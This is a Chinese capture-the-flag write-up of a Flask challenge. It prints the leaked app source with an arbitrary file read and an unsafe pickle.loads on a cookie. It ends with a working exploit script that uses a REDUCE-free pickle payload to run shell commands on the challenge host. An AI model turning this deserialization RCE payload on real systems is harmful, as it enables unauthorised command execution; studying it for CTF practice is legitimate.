----这道题似曾相识,和某刃的题目不能说不同,简直就一摸一样
----考点:pickle序列化问题,命令执行
----正常访问网站,源代码F12给出?pic=的提示,这种大致一看就是可以任意文件访问,再加上原本给的提示,网站用的flask框架开发,于是直接访问?pic=/app/app.py
----得到的base64解码就是文件源代码:
import pickle import base64 from flask import Flask, request from flask import render_template,redirect,send_from_directory import os import requests import random from flask import send_file app = Flask(__name__) class User(): def __init__(self,name,age): self.name = name self.age = age def check(s): if b'R' in s: return 0 return 1 @app.route("/") def index(): try: user = base64.b64decode(request.cookies.get('user')) if check(user): user = pickle.loads(user) username = user["username"] else: username = "bad,bad,hacker" except: username = "CTFer" pic = '{0}.jpg'.format(random.randint(1,7)) try: pic=request.args.get('pic') with open(pic, 'rb') as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() except: pic='{0}.jpg'.format(random.randint(1,7)) with open(pic, 'rb') as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() return render_template('index.html', uname=username, pic=p ) if __name__ == "__main__": app.run('0.0.0.0',port=8888)
最后给出代码,因为这道题和某刃那道一摸一样,直接拿了别人脚本:
import requests import pickle import base64 #e = 'ls / -a' e = 'cat /flagggggggggggggaaa' s = pickle.dumps(e) # print(s) payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \ e.encode()+b' > /tmp/test.txt\nb.' print(payload) response = requests.get("http://eci-2zeb5ty7ty8rs9tm0aps.cloudeci1.ichunqiu.com:8888/?pic=/tmp/test.txt", cookies=dict( user=base64.b64encode(payload).decode())) for l in response.content.decode().split("\n"): if "base64" in l: l = l.split("\"")[1].split(",")[1] print(base64.b64decode(l).decode())
参考文章:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
参考文章:雪姐姐的博客-网刃杯-ez-web
最后老实说,我不太明白为什么payload后边儿要加上/tmp/test.txt这个,是为了填补后面栈的空白?有懂的大哥还麻烦指点下